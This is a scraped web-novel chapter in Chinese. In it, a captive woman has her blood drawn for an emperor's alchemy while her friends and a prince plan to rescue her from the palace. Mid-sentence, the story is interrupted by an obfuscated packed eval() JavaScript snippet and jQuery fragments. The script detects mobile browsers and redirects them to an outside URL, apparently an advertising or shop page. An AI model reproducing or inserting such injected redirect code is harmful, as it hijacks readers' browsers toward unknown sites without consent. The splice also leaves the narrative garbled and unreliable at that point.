默认冷灰
24号文字
方正启体

57. 梅家滴酥

作者:一揽星本书字数:K更新时间:
    王琰腿脚一软,膝盖重重砸下,虚汗浸湿衣领,双手紧握也遏制不住地颤抖,视线被钉在那双赤舄上。


    陈道士好似当起了越帝的传话公公,“罔议天子,此乃大不敬之罪!”


    王琰干脆地磕了个响头,脑门霎时红了一片。“民女知错,求陛下恕罪!”


    陈道士旋又轻声与越帝道:“陛下既需她炼丹,明日便可取血。她前前前面所言不虚,炼丹一事,一次难成。心头血珍贵,可先取其各处血试试。”


    “就按道长说的办。”


    越帝起身走到她面前停下片刻后,甩袖离开了偏院。方才飘落的一瓣桂花,被踩在那双赤舄之下。


    近来越帝心情甚好,特允她开窗,尤其是取血之后,饭菜都丰盛不少。王琰整日坐在窗前,凝眸瞧着那一树桂花。风起,花落。不知不觉夜深了,那人递来三块桂花糕。


    “这是我自己做的,你尝尝。”


    许是那妃子发令,狸猫跃进屋内,蜷在她手边。王琰小心翼翼地接过帕子,拿起一块咬了一口,味道竟与府中做的十分相似。剩下半块拿在手中,已被泪水打湿。


    宸妃忙将另一条帕子递进来,“好端端地,怎么哭成这样?”


    这一个多月来,她未掉过一滴泪。王琰以为,她早就不会哭了。泣涕如雨,怎么也止不住。


    “我……我想……家了……”


    宸妃未再开口安慰,只是等她渐渐平复情绪。王琰急忙将脸擦净,拾起手边的笺纸,说起另一个故事。那会儿,她与李长凌在苏州智斗强抢民女的乡豪……


    那会儿,她与李长凌在临朐花一月时间拿到匪寨布防图,在庆功夜将马贼的马匹全数放走;


    那会儿,她在江宁大闹郡主的比武招亲,将那风流才子的假面揭于众人眼前;


    那会儿,她随李长凌去昆仑问剑,剑气之盛,她连在旁观战的资格都没有;


    后来,她与忽然出现的沈明淮力破冤案,她启程回京那日,正是他的生辰。


    “那官人可是你的如意郎君?”宸妃兴奋地问道。


    王琰嘴角含笑,轻轻应了一声。


    “年少时期有相互爱慕之人,是很好的。”宸妃柔声呢喃道,“不过近日你的身子可还好?听你的声音似是有些虚弱。”


    昨日已是第三次取血。每日送来的吃食,王琰总是吃了两口就放筷,再好的补品也无济于事。桂花落尽,她也变得轻飘飘的,面色苍白,仿佛冬日将临。


    “我没事,休息两日便好。”王琰垂眸摩挲着手中的笺纸,“姐姐,你可吃过梅家铺子的滴酥?味道极好,我与他初游京城那日吃了一次,现在还念着。”


    宸妃靠在窗边没了言语。许久,屋内纤纤玉手递出来一张笺纸。白皙的手腕上,方才结痂的疤痕触目惊心。


    “可否……最后再帮我一次?”


    宸妃的心忽地一紧。她将笺纸收进袖口,“无论如何,先努力活下去。”


    越帝驾临倚遥宫愈发频繁,从三日一次到每日都来,清静之所变得日日提心吊胆。倚遥宫上下,无不为娘娘这迟来的圣宠高兴,只有宸妃盼的不是这个。


    琴竹捧着洗漱的水走到殿门,与一旁的芸香道:“娘娘近日精神欠佳,多仔细着些。”


    芸香点点头,“每临近殿下入宫的日子,娘娘便这样早早盼着。”


    琴竹与芸香拐出殿门口,才发现不知何时站在此处的越帝,慌忙跪下行礼。


    “参见陛下。”


    越帝摆摆手,转眼进了流芳殿内。翌日并非弦日,肃王竟入宫请安了。


    宸妃先是问起他近日的生活,差事可还顺利,有没有人给他使绊子。钱曜扶着宸妃在院中踱步,道是父皇很满意,近日常与好友相聚,一心公务,怎会注意那些。


    “前些日子新交的好友?”


    钱曜回道:“是啊。就儿臣前几回提到的王家的公子、陆家的四公子、楚家的小公子,还有沈家公子,近日方才回京,也见了几次。”


    宸妃点点头,“此番回京,能多交些朋友,我也放心。京城可又熟悉了?”


    “母妃这话说的,我从小在此处长大,只不过出去历练了数年,谈何陌生?”


    风又不讲道理地刮起来,钱曜只好扶宸妃回殿内坐下。


    “说起这个,近日御膳房做了滴酥送来,芸香总说城内有家滴酥味道极好,叫我真是好奇。你下回可去尝尝。”宸妃拿出茶饼,预备点茶。


    钱曜旋道:“母妃若是想吃,儿臣下回进宫带些来就是。父皇不是方准我在京之日皆可进宫请安么?明日我便给母妃带来。”


    “你有心了。”宸妃眉眼染上笑意,忽记起什么似的,走到桌前翻出笺纸交与他,“这是芸香写与我的名字,应不会错。”


    钱曜站在梅家食铺前,再次打开那张笺纸,确认后走进铺中,方要开口,却见一熟悉身影。


    “明淮?”


    “殿下。”


    钱曜忙扶起沈明淮,“不必多礼,你我在外便以兄弟相称。你也来这儿吃滴酥?”


    沈明淮眼见他将一张笺纸收入袖中,字迹好似是漂亮的颜体。


    “……是。瑜兄也是来吃滴酥的?”


    “是母亲从宫人那里听闻梅家食谱的美名,好奇这滴酥究竟是什么味道,我来买些带去。”


    钱曜招手先点了一份,“你亦在此,我更加好奇了。当真这般好吃?”


    沈明淮勉强牵起唇角,“各人口味不同,瑜兄待会儿尝尝便知。”滴酥分明是甜的,含在嘴中,却只有涩味流入心里。


    钱曜见他仍是疲态难掩,脸色比上回见面还要差,就知王琰仍没有消息,也免得开口再问。小二将滴酥端来,他忙吃了一口,赞同道:“确实不错,嗜甜之人应会很喜欢。”


    沈明淮已经吃好,端坐着待钱曜吃完,“我记得瑜兄不喜甜。”


    “不错,随了母亲,但尤爱她做的桂花糕。”


    钱曜仍旧安慰了一句,“你父亲一事我会继续盯着,定还有转机。”


    “多谢……瑜兄。”沈明淮未说出口的话,最终还是咽回心中。


    钱曜很快吃净,又唤小二包了一些,丝毫未注意到沈明淮的目光,一直落在他的衣袖上。正准备离开,却听沈明淮唤了一声。


    “瑜兄留步——”


    钱曜转身时宽袖大甩,那张笺纸意外从袖口掉落。沈明淮疾步上前拾起,瞧清纸上字迹后,瞠目怔在原地,待钱曜开口,方才回神还与他。


    “这字写得真好,可是娘娘所书?”


    钱曜空出一只手将笺纸塞进腰间,“是宫人所写。”


    沈明淮眉头微蹙,抬眸望向钱曜时,却是十分坚定,“瑜兄可信这世上有字迹完全相同之人?”


    钱曜只觉荒谬,“你是说这字是——”


    “劳瑜兄换处地方说话。”


    钱曜自税礼茶楼离开,提着滴酥火速入宫,至晚方归。他一直以为捉走王琰的人,是淑妃。此番计划有变,所有人都松了一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754642|182433||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    口气,只有钱曜被蒙在鼓里。


    “你们原本打算硬闯?!”


    当李长凌从姜绾处得知幕后之人是越帝,他三人便做好了此等准备。


    “总不能将肃王殿下您牵扯进来罢?”


    钱曜气得纵身而起,指着他三人道:“你们真是不把我当朋友!现下又知道找我了?”


    沈明淮的脊骨已无力挺直,沉声道:“现下只能求殿下与宸妃娘娘帮这个忙了。”


    钱曜一转身,只见三人齐齐弯腰作揖,不知指谁指了半晌,重重叹一口气,坐回凳子上,“还不赶紧商量对策,你们当皇宫是那么好闯的吗?”


    王桢率先提议,当务之急是要寻个借口,支开越帝。尽管倚遥宫守卫不多,但自宫门进去,寸步难行,若被越帝发现,更是插翅难飞。


    沈明淮旋指出近日便有一次机会,“十月初三,太子忌日。”


    八年了,没人敢提起这两个字,包括他的父亲。


    “风轻日暖,正适合到御花园走走。”越帝挽着宸妃漫步御花园。


    宸妃笑着回道:“前些日子风大,今儿可算小了些。不知花儿可还受得住。”


    “前几日,朕还来看过,芙蓉开得正好,朕带你去瞧瞧。”


    越帝近日咳疾似有缓解,这会儿兴致正佳。屏退左右,越帝领着宸妃往芙蓉丛去。


    “司花为何对芙蓉这般上心啊?”


    “你有所不知,司花以前是魏皇后宫里的,咱们的皇后娘娘最是喜爱这芙蓉花。天气好的时候,日日都来瞧呢。”


    越帝拦住要出声的宸妃,待两名宫人走后,方才从转角走出来。当年他为魏皇后搭的秋千还在,只是芙蓉凋零,不复往昔。竟已过了二十年,那时他还年轻。他与她坐在秋千上,太子总在旁侧说话,逗得所有人笑。


    “怎么不说话?”越帝看向一旁沉默许久的宸妃。


    宸妃这才收回粘在芙蓉花上的视线,回道:“臣妾怕贸然提及故人,徒增陛下伤感。”


    “故人……”


    宸妃瞥了越帝一眼,正要跪下认罪,“臣妾失言——”


    越帝旋将她扶住,“何罪之有?已许久未有人与朕说起他了。朕偶然翻到他对治理北境的见解,往后便频频梦到他。可是他在怪朕?”


    宸妃仍旧垂眸道:“臣妾不懂这些。若是太子,臣妾听闻他十分孝顺,许是过于思念陛下,这才入梦。”


    “是啊,太子从前最是孝顺。”越帝拍了拍宸妃的手,向那个秋千去,“朕自己走走。”


    寒衣节过后两日,越帝只携三两殿前司使与一名大内高手出城,直奔金池。肃王、卫王与益王则照例进宫请安。


    钱曜随手唤来一名身高体大的宫人,将他献与母亲的一大株山茶运进倚遥宫内。宸妃早已在院中腾出一个土坑,亲手与那宫人一起将紫袍种好。


    “道士领了两人回炼丹房,一时半会回不来,但还有两人守在院内,多加小心。”


    沈明淮提着一个食盒,悄然离开倚遥宫,走到偏院门口,自称是华容宫的宫人,里边关着那位是娘娘的远房表亲,来送些吃食。待他将两颗珍珠各塞进二人手中,那两班直才放他入内。


    “这娘子什么来头,倚遥宫刚来个送药的,现下竟还是淑妃的远房表亲?”


    “贵人们的关系——”


    沈明淮方将倒下的两人挪到一旁,抬眸瞧见殿内的王琰正捧着一碗药,在一旁宫人的注视下,预备喝下去。


    “不要!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)